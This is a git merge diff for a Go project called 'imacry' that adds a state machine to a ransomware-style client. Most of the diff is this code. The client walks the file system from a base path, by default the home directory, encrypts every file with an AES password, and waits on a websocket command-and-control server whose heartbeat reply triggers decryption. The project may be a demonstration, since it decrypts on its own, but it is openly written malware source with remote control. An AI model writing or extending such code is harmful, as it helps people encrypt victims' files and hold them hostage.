Merge pull request #6 from prairir/ryan-states

states machine implement

ARCHITECTURE.md

@@ -8,7 +8,7 @@ If you want to familiarize yourself with the code base and *generally* how it wo
 
 ## Sequence Diagram
 
-[Sequence Diagram](pictures/imacry_sequence_diagram.png)
+![Sequence Diagram](pictures/imacry_sequence_diagram.png)
 
 ## Code Map
 

Earthfile

@@ -16,8 +16,8 @@ build:
 	# this is like `cp -r`
 	COPY --dir cmd/ pkg/ ./
 	# build to file `imacry`
-	RUN go build -o imacry main.go
-	# save file to outside container
+	RUN go build -race -o imacry main.go
+	# save file as artifact
 	SAVE ARTIFACT imacry
 
 # gets the binary from build and then saves it to local machine

README.md

@@ -59,6 +59,6 @@ You can read about it in `ARCHITECTURE.md`
 
 ## State and Communication Sequence
 
-[Sequence Diagram](pictures/imacry_sequence_diagram.png)
+![Sequence Diagram](pictures/imacry_sequence_diagram.png)
 
 

cc-server/cc-server.yaml

@@ -11,7 +11,7 @@ port: 80
 # a AM/PM marker
 # Example:
 # 11:30AM
-trigger-time: "4:00PM"
+trigger-time: "4:30PM"
 # length of trigger period
 # time can be represented with its symbols
 # Example:

cc-server/cmd/root.go

@@ -44,7 +44,7 @@ func init() {
 
 	pflags.StringVar(&cfgFile, "config", "", "config file (default is /etc/imacry-cc-server/cc-server.yaml)")
 
-	pflags.StringP("password", "p", "", "AES password (must be length of 16 + 8n where n is some number over -1)")
+	pflags.StringP("password", "p", "", "AES password (must be length of 16 + 8n where n is some number over 0)")
 	viper.BindPFlag("password", pflags.Lookup("password"))
 
 	pflags.Uint("port", 80, "network port to run on")

cc-server/pkg/handler/heartbeat.go

@@ -1,7 +1,7 @@
 package handler
 
 import (
-	//"fmt"
+	"fmt"
 
 	"time"
 
@@ -19,7 +19,7 @@ import (
 //
 // params: takes message and connection
 // returns: nothing
-func HeartBeat(message []byte, conn *websocket.Conn) {
+func HeartBeat(message []byte, conn *websocket.Conn) error {
 	// get now
 	now := time.Now()
 
@@ -40,8 +40,15 @@ func HeartBeat(message []byte, conn *websocket.Conn) {
 	// trigger
 	// else dont
 	if now.After(startTime) && now.Before(endTime) {
-		conn.WriteMessage(websocket.TextMessage, []byte("hb: 1"))
+		err := conn.WriteMessage(websocket.TextMessage, []byte("hb: 1"))
+		if err != nil {
+			return fmt.Errorf("handler.HeartBeat error: %w", err)
+		}
 	} else {
-		conn.WriteMessage(websocket.TextMessage, []byte("hb: 0"))
+		err := conn.WriteMessage(websocket.TextMessage, []byte("hb: 0"))
+		if err != nil {
+			return fmt.Errorf("handler.HeartBeat error: %w", err)
+		}
 	}
+	return nil
 }

cc-server/web/web.go

@@ -24,15 +24,16 @@ func wsHandler(w http.ResponseWriter, r *http.Request) {
 	for {
 		mt, message, err := conn.ReadMessage()
 		if err != nil {
+			if e, ok := err.(*websocket.CloseError); ok &&
+				(e.Code == websocket.CloseNormalClosure ||
+					e.Code == websocket.CloseNoStatusReceived) {
+				log.Infof("Connect %s leaving", r.RemoteAddr)
+				break
+			}
 			log.Errorf("fatal read error: %s", err)
 			break
 		}
 
-		// if connection closes
-		if mt == websocket.CloseNormalClosure {
-			break
-		}
-
 		// init handler
 		if mt == websocket.TextMessage && string(message[:5]) == "init:" {
 			err = handler.Init(message, conn)
@@ -45,7 +46,11 @@ func wsHandler(w http.ResponseWriter, r *http.Request) {
 		// Heart Beat handler
 		// Heart Beat doubles as a trigger event
 		if mt == websocket.TextMessage && string(message[:3]) == "hb:" {
-			handler.HeartBeat(message, conn)
+			err = handler.HeartBeat(message, conn)
+			if err != nil {
+				log.Errorf("fatal hearbeat error: %s", err)
+				break
+			}
 		}
 
 	}

cmd/decrypt.go

@@ -47,6 +47,6 @@ func RunDecrypt(cmd *cobra.Command, args []string) {
 	// Decrypt from the base file path walking through all files on the system
 	err := walk.Walk(config.Config.Base, df)
 	if err != nil {
-		log.Log.Fatalf("Fatal error: %s", err)
+		log.Fatalf("Fatal error: %s", err)
 	}
 }

cmd/encrypt.go

@@ -46,6 +46,6 @@ func RunEncrypt(cmd *cobra.Command, args []string) {
 	ef := encryptfile.EncryptFile{}
 	err := walk.Walk(config.Config.Base, ef)
 	if err != nil {
-		log.Log.Fatalf("Fatal error: %s", err)
+		log.Fatalf("Fatal error: %s", err)
 	}
 }

cmd/root.go

@@ -1,7 +1,6 @@
 package cmd
 
 import (
-	"fmt"
 	"os"
 
 	"github.com/apex/log"
@@ -10,6 +9,7 @@ import (
 	"github.com/spf13/viper"
 
 	"github.com/prairir/imacry/pkg/config"
+	"github.com/prairir/imacry/pkg/state"
 )
 
 // rootCmd represents the base command when called without any subcommands
@@ -36,7 +36,7 @@ func init() {
 	pflags.StringP("cc-address", "a", "", "command and control server address")
 	viper.BindPFlag("cc-address", pflags.Lookup("cc-address"))
 
-	pflags.StringP("password", "p", "", "encryption/decryption password.")
+	pflags.StringP("password", "p", "", "encryption/decryption password. Length must be at least 16 + 8n where n is some number over 0")
 	viper.BindPFlag("password", pflags.Lookup("password"))
 
 	pflags.StringP("base", "b", "", "base path to start encrypting")
@@ -53,13 +53,54 @@ func initConfig() {
 		viper.Set("base", home)
 	}
 
+	if viper.GetString("password") != "" && len(viper.GetString("password"))-16 < 1 {
+		log.Fatalf("Password is length: %d .It requires length 16 + 8n where n is over 0", len(config.Config.Password))
+	}
+
 	err := config.UnmarshalConfig()
 	if err != nil {
 		log.Fatalf("Couldnt unmarshal config: %s", err)
 	}
 }
 
 func RunImacry(cmd *cobra.Command, args []string) {
-	fmt.Println("hello")
-	fmt.Printf("config: %#v\n", config.Config)
+
+	// state machine loop
+	for {
+		switch config.Config.State {
+		case config.InitState:
+			log.Info("Initializing")
+			err := state.Init(config.EncryptState)
+			if err != nil {
+				log.Fatalf("Fatal error: %s", err)
+			}
+		case config.EncryptState:
+			log.Infof("Encrypting, starting at %s", config.Config.Base)
+			err := state.Encrypt(config.WaitState)
+			if err != nil {
+				log.Fatalf("Fatal error: %s", err)
+			}
+		case config.WaitState:
+			log.Info("Waiting")
+			err := state.Wait(config.DecryptState)
+			if err != nil {
+				log.Fatalf("Fatal error: %s", err)
+			}
+		case config.DecryptState:
+			log.Infof("Decrypting, starting at %s", config.Config.Base)
+			err := state.Decrypt(config.ExitState)
+			if err != nil {
+				log.Fatalf("Fatal error: %s", err)
+			}
+		case config.ExitState:
+			err := state.Exit()
+			if err != nil {
+				log.Fatalf("Fatal error: %s", err)
+			}
+			log.Info("Finished, have a good day :)")
+			return
+		default:
+			log.Fatal("Machine in invalid state")
+		}
+	}
 }

go.mod

@@ -4,6 +4,7 @@ go 1.16
 
 require (
 	github.com/apex/log v1.9.0 // indirect
+	github.com/gorilla/websocket v1.4.2
 	github.com/spf13/cobra v1.2.1
 	github.com/spf13/pflag v1.0.5 // indirect
 	github.com/spf13/viper v1.9.0

go.sum

@@ -168,6 +168,8 @@ github.com/googleapis/gax-go/v2 v2.0.4/go.mod h1:0Wqv26UfaUD9n4G6kQubkQ+KchISgw+
 github.com/googleapis/gax-go/v2 v2.0.5/go.mod h1:DWXyrwAJ9X0FpwwEdw+IPEYBICEFu5mhpdKc/us6bOk=
 github.com/googleapis/gax-go/v2 v2.1.0/go.mod h1:Q3nei7sK6ybPYH7twZdmQpAd1MKb7pfu6SK+H1/DsU0=
 github.com/gopherjs/gopherjs v0.0.0-20181017120253-0766667cb4d1/go.mod h1:wJfORRmW1u3UXTncJ5qlYoELFm8eSnnEO6hX4iZ3EWY=
+github.com/gorilla/websocket v1.4.2 h1:+/TMaTYc4QFitKJxsQ7Yye35DkWvkdLcvGKqM+x0Ufc=
+github.com/gorilla/websocket v1.4.2/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
 github.com/grpc-ecosystem/grpc-gateway v1.16.0/go.mod h1:BDjrQk3hbvj6Nolgz8mAMFbcEtjT1g+wF4CSlocrBnw=
 github.com/hashicorp/consul/api v1.1.0/go.mod h1:VmuI/Lkw1nC05EYQWNKwWGbkg+FbDBtguAZLlVdkD9Q=
 github.com/hashicorp/consul/api v1.10.1/go.mod h1:XjsvQN+RJGWI2TWy1/kqaE16HrR2J/FWgkYjdZQsX9M=

pkg/config/config.go

@@ -3,23 +3,44 @@ package config
 import (
 	"fmt"
 
+	"github.com/gorilla/websocket"
 	"github.com/spf13/viper"
 )
 
 type State int
 
 const (
-	EncryptState State = iota
+	InitState State = iota
+	EncryptState
 	WaitState
 	DecryptState
+	ExitState
 )
 
 // global config struct
 type config struct {
-	State    State
-	Address  string `mapstructure:"cc-address"`
+	// current state the machine is on
+	State State
+
+	// command and control server address
+	Address string `mapstructure:"cc-address"`
+
+	// encrypt/decrypt password
 	Password string `mapstructure:"password"`
-	Base     string `mapstructure:"base"`
+
+	// base path to start encrypt
+	Base string `mapstructure:"base"`
+
+	// connection with cc server
+	Conn *websocket.Conn
+
+	// decrypt signal
+	// the wait state requires this
+	Signal chan struct{}
+
+	// if heartbeat has an error
+	// propegate it into a channel
+	HBError chan error
 }
 
 var Config config

pkg/heartbeat/heartbeat.go

@@ -0,0 +1,37 @@
+package heartbeat
+
+import (
+	"fmt"
+
+	"github.com/gorilla/websocket"
+	"github.com/prairir/imacry/pkg/config"
+)
+
+// heartbeat.HeartBeat:
+func HeartBeat() {
+	for {
+		err := config.Config.Conn.WriteMessage(websocket.TextMessage, []byte("hb:"))
+		if err != nil {
+			config.Config.HBError <- fmt.Errorf("heartbeat.HeartBeat error: %w", err)
+			return
+		}
+
+		mt, message, err := config.Config.Conn.ReadMessage()
+		if err != nil {
+			config.Config.HBError <- fmt.Errorf("heartbeat.HeartBeat error: %w", err)
+			return
+		}
+
+		// if its a text message and the message is `hb: 1`
+		// close the signal channel and exit
+		// else if its a text message and the message is `hb: 0`
+		// continue
+		if mt == websocket.TextMessage && string(message[:5]) == "hb: 1" {
+			close(config.Config.Signal)
+			return
+		} else if mt == websocket.TextMessage && string(message[:5]) == "hb: 0" {
+			continue
+		}
+
+	}
+}

pkg/state/decrypt.go

@@ -0,0 +1,23 @@
+package state
+
+import (
+	"fmt"
+
+	"github.com/prairir/imacry/pkg/config"
+	"github.com/prairir/imacry/pkg/decryptfile"
+	"github.com/prairir/imacry/pkg/walk"
+)
+
+// state.Decrypt: decrypts file system starting at config.Config.Base
+// params: the next state
+// returns: error
+func Decrypt(nextState config.State) error {
+	df := decryptfile.DecryptFile{}
+	// Decrypt from the base file path walking through all files on the system
+	err := walk.Walk(config.Config.Base, df)
+	if err != nil {
+		return fmt.Errorf("state.Decrypt error: %w", err)
+	}
+	config.Config.State = nextState
+	return nil
+}

pkg/state/encrypt.go

@@ -0,0 +1,23 @@
+package state
+
+import (
+	"fmt"
+
+	"github.com/prairir/imacry/pkg/config"
+	"github.com/prairir/imacry/pkg/encryptfile"
+	"github.com/prairir/imacry/pkg/walk"
+)
+
+// state.Encrypt: encrypt file system starting at config.Config.Base
+// params: next state
+// returns: error
+func Encrypt(nextState config.State) error {
+	ef := encryptfile.EncryptFile{}
+	err := walk.Walk(config.Config.Base, ef)
+	if err != nil {
+		return fmt.Errorf("state.Encrypt error: %w", err)
+	}
+
+	config.Config.State = nextState
+	return nil
+}

pkg/state/exit.go

@@ -0,0 +1,26 @@
+package state
+
+import (
+	"fmt"
+	"time"
+
+	"github.com/gorilla/websocket"
+	"github.com/prairir/imacry/pkg/config"
+)
+
+// state.Exit: the exit state, closes the cc-server connection
+// params: none
+// returns: error
+func Exit() error {
+	// close the socket
+	err := config.Config.Conn.WriteControl(websocket.CloseMessage, websocket.FormatCloseMessage(websocket.CloseNormalClosure, ""), time.Now().Add(time.Second))
+	if err != nil {
+		return fmt.Errorf("state.Exit error: %w", err)
+	}
+
+	err = config.Config.Conn.Close()
+	if err != nil {
+		return fmt.Errorf("state.Exit error: %w", err)
+	}
+	return nil
+}